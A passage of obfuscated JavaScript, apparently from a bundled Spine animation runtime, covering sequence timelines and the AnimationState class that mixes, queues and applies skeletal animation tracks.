(_0x2a3bcd < _0x5e0345[0x0]) { switch (_0x2bb547) { case 0x0: return _0x1c2015['mixRotate'] = _0x1c2015['data']['mixRotate'], _0x1c2015['mixX'] = _0x1c2015['data']['mixX'], void (_0x1c2015['mixY'] = _0x1c2015['data']['mixY']); case 0x1: _0x1c2015['mixRotate'] += (_0x1c2015['data']['mixRotate'] - _0x1c2015['mixRotate']) * _0x3d89eb, _0x1c2015['mixX'] += (_0x1c2015['data']['mixX'] - _0x1c2015['mixX']) * _0x3d89eb, _0x1c2015['mixY'] += (_0x1c2015['data']['mixY'] - _0x1c2015['mixY']) * _0x3d89eb; }return; } let _0x285713 = _0x477107['search'](_0x5e0345, _0x2a3bcd, 0x4), _0x21609c = this['curves'][_0x285713 >> 0x2]; switch (_0x21609c) { case 0x0: let _0x5c3143 = _0x5e0345[_0x285713]; _0x2d1bb2 = _0x5e0345[_0x285713 + 0x1], _0x3dffd1 = _0x5e0345[_0x285713 + 0x2], _0x20b9f1 = _0x5e0345[_0x285713 + 0x3]; let _0x12226e = (_0x2a3bcd - _0x5c3143) / (_0x5e0345[_0x285713 + 0x4] - _0x5c3143); _0x2d1bb2 += (_0x5e0345[_0x285713 + 0x4 + 0x1] - _0x2d1bb2) * _0x12226e, _0x3dffd1 += (_0x5e0345[_0x285713 + 0x4 + 0x2] - _0x3dffd1) * _0x12226e, _0x20b9f1 += (_0x5e0345[_0x285713 + 0x4 + 0x3] - _0x20b9f1) * _0x12226e; break; case 0x1: _0x2d1bb2 = _0x5e0345[_0x285713 + 0x1], _0x3dffd1 = _0x5e0345[_0x285713 + 0x2], _0x20b9f1 = _0x5e0345[_0x285713 + 0x3]; break; default: _0x2d1bb2 = this['getBezierValue'](_0x2a3bcd, _0x285713, 0x1, _0x21609c - 0x2), _0x3dffd1 = this['getBezierValue'](_0x2a3bcd, _0x285713, 0x2, _0x21609c + 0x12 - 0x2), _0x20b9f1 = this['getBezierValue'](_0x2a3bcd, _0x285713, 0x3, _0x21609c + 0x24 - 0x2); }if (0x0 == _0x2bb547) { let _0x4c1efc = _0x1c2015['data']; _0x1c2015['mixRotate'] = _0x4c1efc['mixRotate'] + (_0x2d1bb2 - _0x4c1efc['mixRotate']) * _0x3d89eb, _0x1c2015['mixX'] = _0x4c1efc['mixX'] + (_0x3dffd1 - _0x4c1efc['mixX']) * _0x3d89eb, _0x1c2015['mixY'] = _0x4c1efc['mixY'] + (_0x20b9f1 - _0x4c1efc['mixY']) * _0x3d89eb; } else _0x1c2015['mixRotate'] += (_0x2d1bb2 - _0x1c2015['mixRotate']) * _0x3d89eb, _0x1c2015['mixX'] += (_0x3dffd1 - _0x1c2015['mixX']) * _0x3d89eb, _0x1c2015['mixY'] += (_0x20b9f1 - _0x1c2015['mixY']) * _0x3d89eb; } }, _0x1e8529 = class extends _0x477107 { constructor(_0x2e0e4c, _0x435e67, _0x279f7b) { super(_0x2e0e4c, [_0x2539d3 + '|' + _0x435e67 + '|' + _0x279f7b['sequence']['id']]), this['slotIndex'] = _0x435e67, this['attachment'] = _0x279f7b; } ['getFrameEntries']() { return _0x1e8529['ENTRIES']; } ['getSlotIndex']() { return this['slotIndex']; } ['getAttachment']() { return this['attachment']; } ['setFrame'](_0xa63b7f, _0x48404a, _0x7c2dff, _0x1a1aa4, _0x43ebdf) { let _0x40f9fb = this['frames']; _0x40f9fb[_0xa63b7f *= _0x1e8529['ENTRIES']] = _0x48404a, _0x40f9fb[_0xa63b7f + _0x1e8529['MODE']] = _0x7c2dff | _0x1a1aa4 << 0x4, _0x40f9fb[_0xa63b7f + _0x1e8529['DELAY']] = _0x43ebdf; } ['apply'](_0x290f91, _0x36b7f4, _0x1e9a00, _0x63da4f, _0x51ad0c, _0x7ae816, _0x181003) { let _0x179a7a = _0x290f91['slots'][this['slotIndex']]; if (!_0x179a7a['bone']['active']) return; let _0x500235 = _0x179a7a['attachment'], _0x516ee9 = this['attachment']; if (!(_0x500235 == _0x516ee9 || _0x500235 instanceof _0x26c777 && _0x500235['timelineAttachment'] == _0x516ee9)) return; let _0x3fa591 = this['frames']; if (_0x1e9a00 < _0x3fa591[0x0]) return void (0x0 != _0x7ae816 && 0x1 != _0x7ae816 || (_0x179a7a['sequenceIndex'] = -0x1)); let _0x38ac5f = _0x477107['search'](_0x3fa591, _0x1e9a00, _0x1e8529['ENTRIES']), _0x9d9f9c = _0x3fa591[_0x38ac5f], _0x17b854 = _0x3fa591[_0x38ac5f + _0x1e8529['MODE']], _0x468a6c = _0x3fa591[_0x38ac5f + _0x1e8529['DELAY']]; if (!this['attachment']['sequence']) return; let _0x226cfa = _0x17b854 >> 0x4, _0x1733c8 = this['attachment']['sequence']['regions']['length'], _0xd5f97b = _0x1c342c[0xf & _0x17b854]; if (0x0 != _0xd5f97b) switch (_0x226cfa += (_0x1e9a00 - _0x9d9f9c) / _0x468a6c + 0.00001 | 0x0, _0xd5f97b) { case 0x1: _0x226cfa = Math['min'](_0x1733c8 - 0x1, _0x226cfa); break; case 0x2: _0x226cfa %= _0x1733c8; break; case 0x3: { let _0x4dcba7 = (_0x1733c8 << 0x1) - 0x2; _0x226cfa = 0x0 == _0x4dcba7 ? 0x0 : _0x226cfa % _0x4dcba7, _0x226cfa >= _0x1733c8 && (_0x226cfa = _0x4dcba7 - _0x226cfa); break; } case 0x4: _0x226cfa = Math['max'](_0x1733c8 - 0x1 - _0x226cfa, 0x0); break; case 0x5: _0x226cfa = _0x1733c8 - 0x1 - _0x226cfa % _0x1733c8; break; case 0x6: { let _0x196de7 = (_0x1733c8 << 0x1) - 0x2; _0x226cfa = 0x0 == _0x196de7 ? 0x0 : (_0x226cfa + _0x1733c8 - 0x1) % _0x196de7, _0x226cfa >= _0x1733c8 && (_0x226cfa = _0x196de7 - _0x226cfa); } }_0x179a7a['sequenceIndex'] = _0x226cfa; } }, _0x363add = _0x1e8529; _0x363add['ENTRIES'] = 0x3, _0x363add['MODE'] = 0x1, _0x363add['DELAY'] = 0x2; var _0x5c287b = class { constructor(_0x58c76b) { this['tracks'] = new Array(), this['timeScale'] = 0x1, this['unkeyedState'] = 0x0, this['events'] = new Array(), this['listeners'] = new Array(), this['queue'] = new _0x428688(this), this['propertyIDs'] = new _0x3b4f17(), this['animationsChanged'] = !0x1, this['trackEntryPool'] = new _0x100ce0(() => new _0x2919eb()), this['data'] = _0x58c76b; } static ['emptyAnimation']() { return _0x5c287b['_emptyAnimation']; } ['update'](_0x1e07a5) { _0x1e07a5 *= this['timeScale']; let _0x3ae6db = this['tracks']; for (let _0x1d23df = 0x0, _0x40f8b5 = _0x3ae6db['length']; _0x1d23df < _0x40f8b5; _0x1d23df++) { let _0x501c38 = _0x3ae6db[_0x1d23df]; if (!_0x501c38) continue; _0x501c38['animationLast'] = _0x501c38['nextAnimationLast'], _0x501c38['trackLast'] = _0x501c38['nextTrackLast']; let _0x393d39 = _0x1e07a5 * _0x501c38['timeScale']; if (_0x501c38['delay'] > 0x0) { if (_0x501c38['delay'] -= _0x393d39, _0x501c38['delay'] > 0x0) continue; _0x393d39 = -_0x501c38['delay'], _0x501c38['delay'] = 0x0; } let _0x1f0f36 = _0x501c38['next']; if (_0x1f0f36) { let _0x6eb8f0 = _0x501c38['trackLast'] - _0x1f0f36['delay']; if (_0x6eb8f0 >= 0x0) { for (_0x1f0f36['delay'] = 0x0, _0x1f0f36['trackTime'] += 0x0 == _0x501c38['timeScale'] ? 0x0 : (_0x6eb8f0 / _0x501c38['timeScale'] + _0x1e07a5) * _0x1f0f36['timeScale'], _0x501c38['trackTime'] += _0x393d39, this['setCurrent'](_0x1d23df, _0x1f0f36, !0x0); _0x1f0f36['mixingFrom'];)_0x1f0f36['mixTime'] += _0x1e07a5, _0x1f0f36 = _0x1f0f36['mixingFrom']; continue; } } else { if (_0x501c38['trackLast'] >= _0x501c38['trackEnd'] && !_0x501c38['mixingFrom']) { _0x3ae6db[_0x1d23df] = null, this['queue']['end'](_0x501c38), this['clearNext'](_0x501c38); continue; } } if (_0x501c38['mixingFrom'] && this['updateMixingFrom'](_0x501c38, _0x1e07a5)) { let _0x629fba = _0x501c38['mixingFrom']; for (_0x501c38['mixingFrom'] = null, _0x629fba && (_0x629fba['mixingTo'] = null); _0x629fba;)this['queue']['end'](_0x629fba), _0x629fba = _0x629fba['mixingFrom']; } _0x501c38['trackTime'] += _0x393d39; } this['queue']['drain'](); } ['updateMixingFrom'](_0x4fdc18, _0x16ffad) { let _0x184470 = _0x4fdc18['mixingFrom']; if (!_0x184470) return !0x0; let _0x2ca0d = this['updateMixingFrom'](_0x184470, _0x16ffad); return _0x184470['animationLast'] = _0x184470['nextAnimationLast'], _0x184470['trackLast'] = _0x184470['nextTrackLast'], _0x4fdc18['mixTime'] > 0x0 && _0x4fdc18['mixTime'] >= _0x4fdc18['mixDuration'] ? (0x0 != _0x184470['totalAlpha'] && 0x0 != _0x4fdc18['mixDuration'] || (_0x4fdc18['mixingFrom'] = _0x184470['mixingFrom'], _0x184470['mixingFrom'] && (_0x184470['mixingFrom']['mixingTo'] = _0x4fdc18), _0x4fdc18['interruptAlpha'] = _0x184470['interruptAlpha'], this['queue']['end'](_0x184470)), _0x2ca0d) : (_0x184470['trackTime'] += _0x16ffad * _0x184470['timeScale'], _0x4fdc18['mixTime'] += _0x16ffad, !0x1); } ['apply'](_0x51e584) { if (!_0x51e584) throw new Error('skeleton\x20cannot\x20be\x20null.'); this['animationsChanged'] && this['_animationsChanged'](); let _0x310d24 = this['events'], _0x49f406 = this['tracks'], _0x5edef2 = !0x1; for (let _0x54fe05 = 0x0, _0x4e87e4 = _0x49f406['length']; _0x54fe05 < _0x4e87e4; _0x54fe05++) { let _0x1c990b = _0x49f406[_0x54fe05]; if (!_0x1c990b || _0x1c990b['delay'] > 0x0) continue; _0x5edef2 = !0x0; let _0x57c16c = 0x0 == _0x54fe05 ? 0x1 : _0x1c990b['mixBlend'], _0x249152 = _0x1c990b['alpha']; _0x1c990b['mixingFrom'] ? _0x249152 *= this['applyMixingFrom'](_0x1c990b, _0x51e584, _0x57c16c) : _0x1c990b['trackTime'] >= _0x1c990b['trackEnd'] && !_0x1c990b['next'] && (_0x249152 = 0x0); let _0x97d6b7 = _0x1c990b['animationLast'], _0x5985cb = _0x1c990b['getAnimationTime'](), _0x1c9299 = _0x5985cb, _0x2f6eea = _0x310d24; _0x1c990b['reverse'] && (_0x1c9299 = _0x1c990b['animation']['duration'] - _0x1c9299, _0x2f6eea = null); let _0x2d64ff = _0x1c990b['animation']['timelines'], _0x1d8ff4 = _0x2d64ff['length']; if (0x0 == _0x54fe05 && 0x1 == _0x249152 || 0x3 == _0x57c16c) for (let _0x5a513c = 0x0; _0x5a513c < _0x1d8ff4; _0x5a513c++) { _0x380bba['webkit602BugfixHelper'](_0x249152, _0x57c16c); var _0x2d4638 = _0x2d64ff[_0x5a513c]; _0x2d4638 instanceof _0x150783 ? this['applyAttachmentTimeline'](_0x2d4638, _0x51e584, _0x1c9299, _0x57c16c, !0x0) : _0x2d4638['apply'](_0x51e584, _0x97d6b7, _0x1c9299, _0x2f6eea, _0x249152, _0x57c16c, 0x0); } else { let _0x6b6ba6 = _0x1c990b['timelineMode'], _0x2f0ca3 = _0x1c990b['shortestRotation'], _0x3653ee = !_0x2f0ca3 && _0x1c990b['timelinesRotation']['length'] != _0x1d8ff4 << 0x1; _0x3653ee && (_0x1c990b['timelinesRotation']['length'] = _0x1d8ff4 << 0x1); for (let _0x50374b = 0x0; _0x50374b < _0x1d8ff4; _0x50374b++) { let _0x462895 = _0x2d64ff[_0x50374b], _0x52125a = _0x6b6ba6[_0x50374b] == _0xc33164 ? _0x57c16c : 0x0; !_0x2f0ca3 && _0x462895 instanceof _0x1bb8f1 ? this['applyRotateTimeline'](_0x462895, _0x51e584, _0x1c9299, _0x249152, _0x52125a, _0x1c990b['timelinesRotation'], _0x50374b << 0x1, _0x3653ee) : _0x462895 instanceof _0x150783 ? this['applyAttachmentTimeline'](_0x462895, _0x51e584, _0x1c9299, _0x57c16c, !0x0) : (_0x380bba['webkit602BugfixHelper'](_0x249152, _0x57c16c), _0x462895['apply'](_0x51e584, _0x97d6b7, _0x1c9299, _0x2f6eea, _0x249152, _0x52125a, 0x0)); } } this['queueEvents'](_0x1c990b, _0x5985cb), _0x310d24['length'] = 0x0, _0x1c990b['nextAnimationLast'] = _0x5985cb, _0x1c990b['nextTrackLast'] = _0x1c990b['trackTime']; } for (var _0x504219 = this['unkeyedState'] + _0x4b3478, _0x59dcf7 = _0x51e584['slots'], _0x114634 = 0x0, _0x4ae4ad = _0x51e584['slots']['length']; _0x114634 < _0x4ae4ad; _0x114634++) { var _0x637d75 = _0x59dcf7[_0x114634]; if (_0x637d75['attachmentState'] == _0x504219) { var _0x277a2f = _0x637d75['data']['attachmentName']; _0x637d75['setAttachment'](_0x277a2f ? _0x51e584['getAttachment'](_0x637d75['data']['index'], _0x277a2f) : null); } } return this['unkeyedState'] += 0x2, this['queue']['drain'](), _0x5edef2; } ['applyMixingFrom'](_0x101c5e, _0x3fa559, _0x56410d) { let _0xab6251 = _0x101c5e['mixingFrom']; _0xab6251['mixingFrom'] && this['applyMixingFrom'](_0xab6251, _0x3fa559, _0x56410d); let _0x5da3c3 = 0x0; 0x0 == _0x101c5e['mixDuration'] ? (_0x5da3c3 = 0x1, 0x1 == _0x56410d && (_0x56410d = 0x0)) : (_0x5da3c3 = _0x101c5e['mixTime'] / _0x101c5e['mixDuration'], _0x5da3c3 > 0x1 && (_0x5da3c3 = 0x1), 0x1 != _0x56410d && (_0x56410d = _0xab6251['mixBlend'])); let _0x482062 = _0x5da3c3 < _0xab6251['attachmentThreshold'], _0x27a195 = _0x5da3c3 < _0xab6251['drawOrderThreshold'], _0x3f8a57 = _0xab6251['animation']['timelines'], _0xe9f784 = _0x3f8a57['length'], _0x195e83 = _0xab6251['alpha'] * _0x101c5e['interruptAlpha'], _0x6a2db6 = _0x195e83 * (0x1 - _0x5da3c3), _0x38623a = _0xab6251['animationLast'], _0x33c889 = _0xab6251['getAnimationTime'](), _0x585d42 = _0x33c889, _0x571671 = null; if (_0xab6251['reverse'] ? _0x585d42 = _0xab6251['animation']['duration'] - _0x585d42 : _0x5da3c3 < _0xab6251['eventThreshold'] && (_0x571671 = this['events']), 0x3 == _0x56410d) { for (let _0x2ad097 = 0x0; _0x2ad097 < _0xe9f784; _0x2ad097++)_0x3f8a57[_0x2ad097]['apply'](_0x3fa559, _0x38623a, _0x585d42, _0x571671, _0x6a2db6, _0x56410d, 0x1); } else { let _0x3845f8 = _0xab6251['timelineMode'], _0x1e6b21 = _0xab6251['timelineHoldMix'], _0x390675 = _0xab6251['shortestRotation'], _0x11ee0c = !_0x390675 && _0xab6251['timelinesRotation']['length'] != _0xe9f784 << 0x1; _0x11ee0c && (_0xab6251['timelinesRotation']['length'] = _0xe9f784 << 0x1), _0xab6251['totalAlpha'] = 0x0; for (let _0x384d1e = 0x0; _0x384d1e < _0xe9f784; _0x384d1e++) { let _0x34107c, _0x300857 = _0x3f8a57[_0x384d1e], _0x3f8dcc = 0x1, _0x23ef65 = 0x0; switch (_0x3845f8[_0x384d1e]) { case _0xc33164: if (!_0x27a195 && _0x300857 instanceof _0x45823e) continue; _0x34107c = _0x56410d, _0x23ef65 = _0x6a2db6; break; case _0x57e4e8: _0x34107c = 0x0, _0x23ef65 = _0x6a2db6; break; case _0x1bf8ea: _0x34107c = _0x56410d, _0x23ef65 = _0x195e83; break; case _0x44bc1b: _0x34107c = 0x0, _0x23ef65 = _0x195e83; break; default: _0x34107c = 0x0; let _0x1979a8 = _0x1e6b21[_0x384d1e]; _0x23ef65 = _0x195e83 * Math['max'](0x0, 0x1 - _0x1979a8['mixTime'] / _0x1979a8['mixDuration']); }_0xab6251['totalAlpha'] += _0x23ef65, !_0x390675 && _0x300857 instanceof _0x1bb8f1 ? this['applyRotateTimeline'](_0x300857, _0x3fa559, _0x585d42, _0x23ef65, _0x34107c, _0xab6251['timelinesRotation'], _0x384d1e << 0x1, _0x11ee0c) : _0x300857 instanceof _0x150783 ? this['applyAttachmentTimeline'](_0x300857, _0x3fa559, _0x585d42, _0x34107c, _0x482062) : (_0x380bba['webkit602BugfixHelper'](_0x23ef65, _0x56410d), _0x27a195 && _0x300857 instanceof _0x45823e && 0x0 == _0x34107c && (_0x3f8dcc = 0x0), _0x300857['apply'](_0x3fa559, _0x38623a, _0x585d42, _0x571671, _0x23ef65, _0x34107c, _0x3f8dcc)); } } return _0x101c5e['mixDuration'] > 0x0 && this['queueEvents'](_0xab6251, _0x33c889), this['events']['length'] = 0x0, _0xab6251['nextAnimationLast'] = _0x33c889, _0xab6251['nextTrackLast'] = _0xab6251['trackTime'], _0x5da3c3; } ['applyAttachmentTimeline'](_0xa5b632, _0x1aa109, _0x1d487b, _0x35946f, _0x57a52c) { var _0x4bedbf = _0x1aa109['slots'][_0xa5b632['slotIndex']]; _0x4bedbf['bone']['active'] && (_0x1d487b < _0xa5b632['frames'][0x0] ? 0x0 != _0x35946f && 0x1 != _0x35946f || this['setAttachment'](_0x1aa109, _0x4bedbf, _0x4bedbf['data']['attachmentName'], _0x57a52c) : this['setAttachment'](_0x1aa109, _0x4bedbf, _0xa5b632['attachmentNames'][_0x477107['search1'](_0xa5b632['frames'], _0x1d487b)], _0x57a52c), _0x4bedbf['attachmentState'] <= this['unkeyedState'] && (_0x4bedbf['attachmentState'] = this['unkeyedState'] + _0x4b3478)); } ['setAttachment'](_0x412874, _0x594bbe, _0x28e295, _0x587613) { _0x594bbe['setAttachment'](_0x28e295 ? _0x412874['getAttachment'](_0x594bbe['data']['index'], _0x28e295) : null), _0x587613 && (_0x594bbe['attachmentState'] = this['unkeyedState'] + _0x110480); } ['applyRotateTimeline'](_0x40455d, _0x17f8e6, _0x4fd48a, _0x14e145, _0x9af33c, _0x36b2f0, _0x41575c, _0x4a4974) { if (_0x4a4974 && (_0x36b2f0[_0x41575c] = 0x0), 0x1 == _0x14e145) return void _0x40455d['apply'](_0x17f8e6, 0x0, _0x4fd48a, null, 0x1, _0x9af33c, 0x0); let _0x16d5dd = _0x17f8e6['bones'][_0x40455d['boneIndex']]; if (!_0x16d5dd['active']) return; let _0x4cfa14 = 0x0, _0x56de14 = 0x0; if (_0x4fd48a < _0x40455d['frames'][0x0]) switch (_0x9af33c) { case 0x0: _0x16d5dd['rotation'] = _0x16d5dd['data']['rotation']; default: return; case 0x1: _0x4cfa14 = _0x16d5dd['rotation'], _0x56de14 = _0x16d5dd['data']['rotation']; } else _0x4cfa14 = 0x0 == _0x9af33c ? _0x16d5dd['data']['rotation'] : _0x16d5dd['rotation'], _0x56de14 = _0x16d5dd['data']['rotation'] + _0x40455d['getCurveValue'](_0x4fd48a); let _0x5d094e = 0x0, _0x1a49ca = _0x56de14 - _0x4cfa14; if (_0x1a49ca -= 0x168 * (0x4000 - (16384.499999999996 - _0x1a49ca / 0x168 | 0x0)), 0x0 == _0x1a49ca) _0x5d094e = _0x36b2f0[_0x41575c]; else { let _0x52483c = 0x0, _0x4bb87e = 0x0; _0x4a4974 ? (_0x52483c = 0x0, _0x4bb87e = _0x1a49ca) : (_0x52483c = _0x36b2f0[_0x41575c], _0x4bb87e = _0x36b2f0[_0x41575c + 0x1]); let _0x53d346 = _0x1a49ca > 0x0, _0x40612a = _0x52483c >= 0x0; _0xbc125['signum'](_0x4bb87e) != _0xbc125['signum'](_0x1a49ca) && Math['abs'](_0x4bb87e) <= 0x5a && (Math['abs'](_0x52483c) > 0xb4 && (_0x52483c += 0x168 * _0xbc125['signum'](_0x52483c)), _0x40612a = _0x53d346), _0x5d094e = _0x1a49ca + _0x52483c - _0x52483c % 0x168, _0x40612a != _0x53d346 && (_0x5d094e += 0x168 * _0xbc125['signum'](_0x52483c)), _0x36b2f0[_0x41575c] = _0x5d094e; } _0x36b2f0[_0x41575c + 0x1] = _0x1a49ca, _0x16d5dd['rotation'] = _0x4cfa14 + _0x5d094e * _0x14e145; } ['queueEvents'](_0x5837dd, _0x321cf1) { let _0x2f3fa2 = _0x5837dd['animationStart'], _0x5eafb6 = _0x5837dd['animationEnd'], _0x5780a4 = _0x5eafb6 - _0x2f3fa2, _0x2bb30a = _0x5837dd['trackLast'] % _0x5780a4, _0x564018 = this['events'], _0x46aa96 = 0x0, _0x1322ec = _0x564018['length']; for (; _0x46aa96 < _0x1322ec; _0x46aa96++) { let _0x3a96b1 = _0x564018[_0x46aa96]; if (_0x3a96b1['time'] < _0x2bb30a) break; _0x3a96b1['time'] > _0x5eafb6 || this['queue']['event'](_0x5837dd, _0x3a96b1); } let _0x2d1d51 = !0x1; for (_0x2d1d51 = _0x5837dd['loop'] ? 0x0 == _0x5780a4 || _0x2bb30a > _0x5837dd['trackTime'] % _0x5780a4 : _0x321cf1 >= _0x5eafb6 && _0x5837dd['animationLast'] < _0x5eafb6, _0x2d1d51 && this['queue']['complete'](_0x5837dd); _0x46aa96 < _0x1322ec; _0x46aa96++) { let _0x49c5f1 = _0x564018[_0x46aa96]; _0x49c5f1['time'] < _0x2f3fa2 || this['queue']['event'](_0x5837dd, _0x49c5f1); } } ['clearTracks']() { let _0x48e2f2 = this['queue']['drainDisabled']; this['queue']['drainDisabled'] = !0x0; for (let _0x4fecd6 = 0x0, _0x4bb331 = this['tracks']['length']; _0x4fecd6 < _0x4bb331; _0x4fecd6++)this['clearTrack'](_0x4fecd6); this['tracks']['length'] = 0x0, this['queue']['drainDisabled'] = _0x48e2f2, this['queue']['drain'](); } ['clearTrack'](_0x30d001) { if (_0x30d001 >= this['tracks']['length']) return; let _0x2c20ed = this['tracks'][_0x30d001]; if (!_0x2c20ed) return; this['queue']['end'](_0x2c20ed), this['clearNext'](_0x2c20ed); let _0x5f1525 = _0x2c20ed; for (; ;) { let _0x351c42 = _0x5f1525['mixingFrom']; if (!_0x351c42) break; this['queue']['end'](_0x351c42), _0x5f1525['mixingFrom'] = null, _0x5f1525['mixingTo'] = null, _0x5f1525 = _0x351c42; } this['tracks'][_0x2c20ed['trackIndex']] = null, this['queue']['drain'](); } ['setCurrent'](_0x40dfc4, _0x4b5146, _0x62f1ee) { let _0x2683b4 = this['expandToIndex'](_0x40dfc4); this['tracks'][_0x40dfc4] = _0x4b5146, _0x4b5146['previous'] = null, _0x2683b4 && (_0x62f1ee && this['queue']['interrupt'](_0x2683b4), _0x4b5146['mixingFrom'] = _0x2683b4, _0x2683b4['mixingTo'] = _0x4b5146, _0x4b5146['mixTime'] = 0x0, _0x2683b4['mixingFrom'] && _0x2683b4['mixDuration'] > 0x0 && (_0x4b5146['interruptAlpha'] *= Math['min'](0x1, _0x2683b4['mixTime'] / _0x2683b4['mixDuration'])), _0x2683b4['timelinesRotation']['length'] = 0x0), this['queue']['start'](_0x4b5146); } ['setAnimation'](_0x45ba3b, _0x292e13, _0x4c4dfe = !0x1) { let _0x543dff = this['data']['skeletonData']['findAnimation'](_0x292e13); if (!_0x543dff) throw new Error('Animation\x20not\x20found:\x20' + _0x292e13); return this['setAnimationWith'](_0x45ba3b, _0x543dff, _0x4c4dfe); } ['setAnimationWith'](_0x4c9a33, _0x526573, _0x1b113d = !0x1) { if (!_0x526573) throw new Error('animation\x20cannot\x20be\x20null.'); let _0x4d1268 = !0x0, _0x471ace = this['expandToIndex'](_0x4c9a33); _0x471ace && (-0x1 == _0x471ace['nextTrackLast'] ? (this['tracks'][_0x4c9a33] = _0x471ace['mixingFrom'], this['queue']['interrupt'](_0x471ace), this['queue']['end'](_0x471ace), this['clearNext'](_0x471ace), _0x471ace = _0x471ace['mixingFrom'], _0x4d1268 = !0x1) : this['clearNext'](_0x471ace)); let _0x57a8dd = this['trackEntry'](_0x4c9a33, _0x526573, _0x1b113d, _0x471ace); return this['setCurrent'](_0x4c9a33, _0x57a8dd, _0x4d1268), this['queue']['drain'](), _0x57a8dd; } ['addAnimation'](_0xc18757, _0x12a7ed, _0x22478a = !0x1, _0x26e661 = 0x0) { let _0x51fac4 = this['data']['skeletonData']['findAnimation'](_0x12a7ed); if (!_0x51fac4) throw new Error('Animation\x20not\x20found:\x20' + _0x12a7ed); return this['addAnimationWith'](_0xc18757, _0x51fac4, _0x22478a, _0x26e661); } ['addAnimationWith'](_0x256098, _0x1af303, _0x39554c = !0x1, _0x4a6af5 = 0x0) { if (!_0x1af303) throw new Error('animation\x20cannot\x20be\x20null.'); let _0x12770f = this['expandToIndex'](_0x256098); if (_0x12770f) { for (; _0x12770f['next'];)_0x12770f = _0x12770f['next']; } let _0x2c45aa = this['trackEntry'](_0x256098, _0x1af303, _0x39554c, _0x12770f); return _0x12770f ? (_0x12770f['next'] = _0x2c45aa, _0x2c45aa['previous'] = _0x12770f, _0x4a6af5 <= 0x0 && (_0x4a6af5 += _0x12770f['getTrackComplete']() - _0x2c45aa['mixDuration'])) : (this['setCurrent'](_0x256098, _0x2c45aa, !0x0), this['queue']['drain']()), _0x2c45aa['delay'] = _0x4a6af5, _0x2c45aa; } ['setEmptyAnimation'](_0x5be6a9, _0x34d449 = 0x0) { let _0x488f59 = this['setAnimationWith'](_0x5be6a9, _0x5c287b['emptyAnimation'](), !0x1); return _0x488f59['mixDuration'] = _0x34d449, _0x488f59['trackEnd'] = _0x34d449, _0x488f59; } ['addEmptyAnimation'](_0x479e7d, _0x410b25 = 0x0, _0x54381d = 0x0) { let _0x4ea306 = this['addAnimationWith'](_0x479e7d, _0x5c287b['emptyAnimation'](), !0x1, _0x54381d); return _0x54381d <= 0x0 && (_0x4ea306['delay'] += _0x4ea306['mixDuration'] - _0x410b25), _0x4ea306['mixDuration'] = _0x410b25, _0x4ea306['trackEnd'] = _0x410b25, _0x4ea306; } ['setEmptyAnimations'](_0x4516fb = 0x0) { let _0x2e8a4f = this['queue']['drainDisabled']; this['queue']['drainDisabled'] = !0x0; for (let _0x5578c0 = 0x0, _0x2590a7 = this['tracks']['length']; _0x5578c0 < _0x2590a7; _0x5578c0++) { let _0x501795 = this['tracks'][_0x5578c0]; _0x501795 && this['setEmptyAnimation'](_0x501795['trackIndex'], _0x4516fb); } this['queue']['drainDisabled'] = _0x2e8a4f, this['queue']['drain'](); } ['expandToIndex'](_0x4fe29d) { return _0x4fe29d < this['tracks']['length'] ? this['tracks'][_0x4fe29d] : (_0x380bba['ensureArrayCapacity'](this['tracks'], _0x4fe29d + 0x1, null), this['tracks']['length'] = _0x4fe29d + 0x1, null); } ['trackEntry'](_0x521a26, _0x7e33c2, _0x5f5690, _0xc8e98f) { let _0x7c5782 = this['trackEntryPool']['obtain'](); return _0x7c5782['reset'](), _0x7c5782['trackIndex'] = _0x521a26, _0x7c5782['animation'] = _0x7e33c2, _0x7c5782['loop'] = _0x5f5690, _0x7c5782['holdPrevious'] = !0x1, _0x7c5782['reverse'] = !0x1, _0x7c5782['shortestRotation'] = !0x1, _0x7c5782['eventThreshold'] = 0x0, _0x7c5782['attachmentThreshold'] = 0x0, _0x7c5782['drawOrderThreshold'] = 0x0, _0x7c5782['animationStart'] = 0x0, _0x7c5782['animationEnd'] = _0x7e33c2['duration'], _0x7c5782['animationLast'] = -0x1, _0x7c5782['nextAnimationLast'] = -0x1, _0x7c5782['delay'] = 0x0, _0x7c5782['trackTime'] = 0x0, _0x7c5782['trackLast'] = -0x1, _0x7c5782['nextTrackLast'] = -0x1, _0x7c5782['trackEnd'] = Number['MAX_VALUE'], _0x7c5782['timeScale'] = 0x1, _0x7c5782['alpha'] = 0x1, _0x7c5782['mixTime'] = 0x0, _0x7c5782['mixDuration'] = _0xc8e98f ? this['data']['getMix'](_0xc8e98f['animation'], _0x7e33c2) : 0x0, _0x7c5782['interruptAlpha'] = 0x1, _0x7c5782['totalAlpha'] = 0x0, _0x7c5782['mixBlend'] = 0x2, _0x7c5782; } ['clearNext'](_0x41f6a8) { let _0x4108c2 = _0x41f6a8['next']; for (; _0x4108c2;)this['queue']['dispose'](_0x4108c2), _0x4108c2 = _0x4108c2['next']; _0x41f6a8['next'] = null; } ['_animationsChanged']() { this['animationsChanged'] = !0x1, this['propertyIDs']['clear'](); let _0x1ae8d2 = this['tracks']; for (let _0x1774e3 = 0x0, _0x219892 = _0x1ae8d2['length']; _0x1774e3 < _0x219892; _0x1774e3++) { let _0x364015 = _0x1ae8d2[_0x1774e3]; if (_0x364015) { for (; _0x364015['mixingFrom'];)_0x364015 = _0x364015['mixingFrom']; do { _0x364015['mixingTo'] && 0x3 == _0x364015['mixBlend'] || this['computeHold'](_0x364015), _0x364015 = _0x364015['mixingTo']; } while (_0x364015); } } } ['computeHold'](_0x2a2fa0) { let _0x323699 = _0x2a2fa0['mixingTo'], _0x5c8dc9 = _0x2a2fa0['animation']['timelines'], _0x439b0e = _0x2a2fa0['animation']['timelines']['length'], _0x1a8d7d = _0x2a2fa0['timelineMode']; _0x1a8d7d['length'] = _0x439b0e; let _0xfc0ccc = _0x2a2fa0['timelineHoldMix']; _0xfc0ccc['length'] = 0x0; let _0x5e8010 = this['propertyIDs']; if (_0x323699 && _0x323699['holdPrevious']) { for (let _0x16a612 = 0x0; _0x16a612 < _0x439b0e; _0x16a612++)_0x1a8d7d[_0x16a612] = _0x5e8010['addAll'](_0x5c8dc9[_0x16a612]['getPropertyIds']()) ? _0x44bc1b : _0x1bf8ea; } else { _0x5c8687: for (let _0x3af263 = 0x0; _0x3af263 < _0x439b0e; _0x3af263++) { let _0x2423a8 = _0x5c8dc9[_0x3af263], _0x55d8ad = _0x2423a8['getPropertyIds'](); if (_0x5e8010['addAll'](_0x55d8ad)) { if (!_0x323699 || _0x2423a8 instanceof _0x150783 || _0x2423a8 instanceof _0x45823e || _0x2423a8 instanceof _0x3c427f || 